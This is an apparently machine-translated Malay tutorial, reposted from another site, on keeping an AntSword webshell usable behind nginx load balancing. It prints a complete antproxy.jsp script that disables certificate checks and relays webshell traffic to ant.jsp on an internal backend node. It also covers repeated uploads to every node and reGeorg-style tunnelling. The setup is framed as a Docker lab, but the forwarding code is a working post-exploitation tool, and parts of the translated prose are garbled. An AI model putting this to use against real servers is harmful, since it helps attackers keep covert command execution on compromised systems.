Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

WBOY
WBOYke hadapan
2023-05-16 08:16:131511semak imbas

Penerangan senario

Anggapkan bahawa dalam persekitaran pengeluaran sebenar, terdapat kerentanan RCE, yang membolehkan kami mendapatkan pemasangan WebShell

persekitaran

Tarik pertama kelemahan pada GetHub Sebelum memasang imej, anda perlu memasang nginx dan tomcat pada centos terlebih dahulu dan mengkonfigurasi fail konfigurasi yang berkaitan dengan nginx dan tomcat Kemudian gunakan docker untuk menurunkan imej untuk menghasilkan semula kelemahan.

1. Sediakan persekitaran docker dahulu

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

2. Uji sama ada tomcat boleh mengakses

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Seperti yang dapat dilihat daripada gambar di atas, tomcat bahagian belakang boleh diakses

3 Periksa pengimbangan beban proksi terbalik nginx dalam docker

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

4. Lihat fail ant.jsp dalam lbsnode1 dalam docker

Fail ini boleh difahami sebagai Trojan satu ayat, dan fail yang sama juga wujud dalam lbsnode2

lbsnode1:

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

lbsnode2:

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

5 Sambungkan fail ant.jsp melalui Pedang Semut Cina

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx<.>

Oleh kerana ant.jsp wujud di lokasi yang sama pada kedua-dua nod, tidak terkecuali apabila menyambung

Proses pembiakan

Masalah sedia ada

Soalan 1: Memandangkan proksi terbalik yang digunakan oleh nginx ialah kaedah tinjauan pendapat, fail yang dimuat naik mesti dimuat naik ke lokasi yang sama pada dua pelayan bahagian belakang

Oleh kerana kami adalah proksi terbalik Pengimbangan beban bermaksud memuat naik fail. Satu pelayan belakang mempunyai fail yang kami muat naik, tetapi pelayan lain tidak mempunyai fail yang kami muat naik Hasilnya ialah apabila tiada fail pada satu pelayan, maka giliran permintaan itu , ralat 404 akan dilaporkan, yang akan menjejaskan penggunaan Ini adalah sebab mengapa ia akan kelihatan normal untuk seketika dan ralat akan muncul untuk seketika.

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Penyelesaian:

Kami perlu memuat naik WebShell dengan kandungan yang sama di lokasi yang sama pada setiap nod, supaya tidak kira nod mana yang ditinjau. pelayan bahagian belakang boleh diakses dari mana-mana pelayan. Untuk mencapai fail yang dimuat naik pada setiap pelayan bahagian belakang, anda perlu memuat naiknya seperti orang gila.

Masalah 2: Apabila kami melaksanakan arahan, kami tidak dapat mengetahui mesin mana permintaan seterusnya akan diserahkan untuk dilaksanakan

Kami sedang melaksanakan nama hos -i untuk melihat mesin pelaksanaan semasa Anda dapat melihat bahawa alamat IP telah hanyut

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Masalah 3: Apabila kita perlu memuat naik beberapa alat yang lebih besar, ia akan menyebabkan alatan menjadi Situasi tidak boleh digunakan

Apabila kami memuat naik fail yang lebih besar, AntSword menggunakan kaedah muat naik berbilang bahagian semasa memuat naik fail, membahagikan fail kepada berbilang permintaan HTTP dan menghantarnya ke sasaran, mengakibatkan kerosakan fail. Sebahagian daripada kandungan berada pada pelayan A, dan fail lain berada pada pelayan B, yang menjadikan alat atau fail yang lebih besar tidak dapat dibuka atau digunakan

Soalan 4: Memandangkan hos sasaran tidak boleh mengakses rangkaian luaran , Jika anda ingin pergi lebih jauh, anda hanya boleh menggunakan HTTP Tunnel seperti reGeorg/HTTPAbs, tetapi dalam senario ini, semua skrip terowong ini gagal.

Penyelesaian

Pilihan 1: Matikan salah satu pelayan bahagian belakang

Tutup salah satu pelayan bahagian belakang sesungguhnya Ia boleh menyelesaikan empat masalah yang dinyatakan di atas, tetapi penyelesaian ini benar-benar seperti "menggantung bintang panjang umur --- bosan hidup", menjejaskan perniagaan, dan menyebabkan bencana Pas Langsung tidak akan dipertimbangkan

Penilaian komprehensif: Ia adalah. benar-benar persekitaran Jangan cuba lain kali! ! !

Pilihan 2: Tentukan sama ada hendak melaksanakan atur cara sebelum melaksanakannya

Memandangkan adalah mustahil untuk meramalkan mesin mana yang akan melaksanakannya pada masa akan datang, maka shell kami adalah Sebelum melaksanakan Muatan, nilaikan sama ada ia patut dilaksanakan atau tidak.

Buat skrip demo.sh untuk kali pertama Skrip ini adalah untuk mendapatkan alamat salah satu pelayan bahagian belakang kami Program ini akan dilaksanakan hanya apabila alamat pelayan ini sepadan alamat pelayan lain, program akan dilaksanakan Program tidak dilaksanakan.

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Muat naik fail skrip demo.sh ke dua pelayan bahagian belakang melalui China Ant Sword Kerana ia mengimbangi beban, anda perlu mengklik untuk memuat naik seperti gila

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Dengan cara ini, kita sememangnya boleh memastikan arahan yang dilaksanakan ada pada mesin yang kita mahukan, walau bagaimanapun, tiada rasa cantik dalam melaksanakan arahan seperti ini Selain itu, masalah seperti muat naik fail besar dan terowong HTTP tidak dapat diselesaikan.

Penilaian komprehensif: Penyelesaian ini hampir tidak boleh digunakan Ia hanya sesuai digunakan semasa melaksanakan arahan dan tidak cukup elegan.

Pilihan 3: ke hadapan lalu lintas HTTP dalam lapisan Web (titik utama)

Ya, kami tidak boleh mengakses IP intranet LBSNode1 secara langsung menggunakan AntSword (172.23. 0.2), tetapi seseorang boleh mengaksesnya Selain nginx, mesin LBSNode2 juga boleh mengakses port 8080 mesin Node1.

Adakah anda masih ingat pemalam "PHP Bypass Disable Function" Selepas memuatkan begitu dalam pemalam ini, kami memulakan pelayan https secara setempat, dan kemudian kami menggunakan skrip pemajuan trafik peringkat HTTP "antproxy.php ", mari kita lihat dalam senario ini:

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Mari lihat gambar ini langkah demi langkah. Matlamat kami ialah: Semua data paket boleh Hantar ke mesin "LBSNode 1"

Langkah pertama ialah, kami meminta /antproxy.jsp permintaan ini dihantar ke nginx

Selepas nginx menerima paket data, ia akan Terdapat dua situasi:

Mari lihat garis hitam dahulu Dalam langkah 2, permintaan dihantar ke mesin sasaran dan /antproxy.jsp pada mesin Node1 diminta. /antproxy.jsp menghantar permintaan Selepas penyusunan semula, ia dihantar kepada /ant.jsp pada mesin Node1 dan dilaksanakan dengan jayanya.

Lihat baris merah sekali lagi Dalam langkah 2, permintaan dihantar ke mesin Node2 Kemudian dalam langkah 3, /antproxy.jsp pada mesin Node2 menyusun semula permintaan dan menghantarnya ke /ant.jsp. daripada Node1 berjaya dilaksanakan.

1. Cipta skrip antproxy.jsp

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>
<%
        String target = "http://172.24.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

2. Ubah suai alamat pemajuan dan ubah hala ke alamat akses skrip sasaran IP intranet sasaran Nod.

Nota: Bukan sahaja WebShell, malah alamat akses skrip seperti reGeorg boleh ditukar

Kami menghalakan sasaran ke ant.jsp LBSNode1

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Nota:

a) Jangan gunakan fungsi muat naik, yang akan memuat naik sekeping-keping, mengakibatkan pemecahan pada Nod yang berbeza.

b) Untuk memastikan setiap Nod mempunyai laluan yang sama ke antproxy.jsp, jadi saya menyimpannya berkali-kali untuk memastikan setiap nod memuat naik skrip

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

3 Ubah suai konfigurasi Shell, isikan bahagian URL sebagai alamat antproxy.jsp dan biarkan konfigurasi lain tidak berubah

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

4 Uji arahan pelaksanaan dan semak IP

Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx

Anda boleh melihatnya. IP telah ditetapkan, bermakna permintaan telah ditetapkan pada mesin LBSNode1. Pada masa ini, menggunakan muat naik berbilang bahagian dan proksi HTTP tidak berbeza daripada situasi bersendirian

Kelebihan penyelesaian ini:

1 dengan kebenaran yang rendah, jika kuasanya tinggi, ia juga boleh dimajukan terus melalui peringkat pelabuhan, tetapi ini tidak berbeza dengan perkhidmatan luar tapak Pelan A

2. Dari segi trafik, ia hanya menjejaskan permintaan untuk mengakses WebShell, permintaan perniagaan biasa lain tidak akan menjejaskan.

3. Sesuaikan lebih banyak alatan

Kelemahan:

Penyelesaian ini memerlukan kebolehoperasian intranet antara "Nod Sasaran" dan "Nod Lain" , jika ada tiada kebolehoperasian, ia akan menjadi sejuk.

Atas ialah kandungan terperinci Bagaimana untuk melaksanakan muat naik webshell di bawah pengimbangan beban nginx. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam